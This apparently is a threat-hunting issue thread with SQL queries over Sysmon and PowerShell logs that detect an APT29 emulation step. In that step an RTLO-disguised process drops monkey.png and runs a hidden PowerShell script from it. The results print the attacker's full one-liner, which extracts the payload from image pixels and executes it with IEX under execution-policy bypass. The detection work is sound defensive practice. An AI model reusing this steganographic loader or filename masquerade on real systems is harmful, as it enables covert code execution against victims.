Open Cyb3rWard0g opened 4 years ago
Procedure: Dropped stage 2 payload (monkey.png) to disk Criteria: The rcs.3aka3.doc process creating the file monkey.png
We could use Sysmon EventID 11 only, but I wanted to correlate it with another query looking for the RTLO file name to potentially get additional context around the malicious process
SELECT b.Message
FROM apt29Host a
INNER JOIN (
SELECT ProcessGuid, Message
FROM apt29Host
WHERE Channel = "Microsoft-Windows-Sysmon/Operational"
AND EventID = 11
AND LOWER(TargetFilename) LIKE '%monkey.png'
) b
ON a.ProcessGuid = b.ProcessGuid
WHERE a.Channel = "Microsoft-Windows-Sysmon/Operational"
AND a.EventID = 1
AND LOWER(a.Image) RLIKE '.*\\‎|â€|‪|‫|‬|â€|‮.*'
Results:
File created:
RuleName: -
UtcTime: 2020-05-02 02:57:00.933
ProcessGuid: {47ab858c-e13c-5eac-a903-000000000400}
ProcessId: 8524
Image: C:\ProgramData\victim\‮cod.3aka3.scr
TargetFilename: C:\Users\pbeesly\Downloads\monkey.png
CreationUtcTime: 2020-05-02 02:57:00.933
Procedure: Embedded PowerShell payload in monkey.png using steganography Criteria: Evidence that a PowerShell payload was within monkey.png
Sysmon & PS Logs
SELECT d.Image, d.CommandLine, c.ScriptBlockText
FROM apt29Table c
INNER JOIN (
SELECT ParentProcessGuid, ProcessGuid, ProcessId, ParentImage, Image, ParentCommandLine, CommandLine
FROM apt29Table
WHERE Channel = "Microsoft-Windows-Sysmon/Operational"
AND EventID = 1
) d
ON c.ExecutionProcessID = d.ProcessId
WHERE c.Channel = "Microsoft-Windows-PowerShell/Operational"
AND c.EventID = 4104
AND LOWER(c.ScriptBlockText) LIKE "%monkey.png%"
Security + PS Logs
SELECT d.NewProcessName, d.CommandLine, c.ScriptBlockText
FROM apt29Table c
INNER JOIN (
SELECT NewProcessName, CommandLine, split(NewProcessId, '0x')[1] as NewProcessId
FROM apt29Table
WHERE LOWER(Channel) = "security"
AND EventID = 4688
) d
ON LOWER(hex(c.ExecutionProcessID)) = d.NewProcessId
WHERE c.Channel = "Microsoft-Windows-PowerShell/Operational"
AND c.EventID = 4104
AND LOWER(c.ScriptBlockText) LIKE "%monkey.png%"
Results:
NewProcessName | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine | "PowerShell.exe" -noni -noexit -ep bypass -window hidden -c "sal a New-Object;Add-Type -AssemblyName 'System.Drawing'; $g=a System.Drawing.Bitmap('C:\Users\pbeesly\Downloads\monkey.png');$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3932]))"
ScriptBlockText | sal a New-Object;Add-Type -AssemblyName 'System.Drawing'; $g=a System.Drawing.Bitmap('C:\Users\pbeesly\Downloads\monkey.png');$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3932]))
Description
The attacker now uploads a new payload (T1105) to the victim. The payload is a legitimately formed image file with a concealed PowerShell script (T1027).